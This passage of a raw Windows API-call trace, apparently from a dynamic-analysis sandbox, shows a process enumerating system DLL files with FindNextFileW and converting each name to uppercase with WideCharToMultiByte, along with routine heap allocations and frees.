Flags=0x8, Size=0x40) returned 0xb3c310 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xb3c310, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.741] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xb3c1a8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.741] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.741] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.741] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.742] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.742] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.742] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xb3c310, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0241.742] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.742] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.743] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.743] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.743] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.743] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.743] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0241.743] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xb3c310, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.744] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xb3c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.744] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.744] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.744] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.744] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.745] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.745] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, 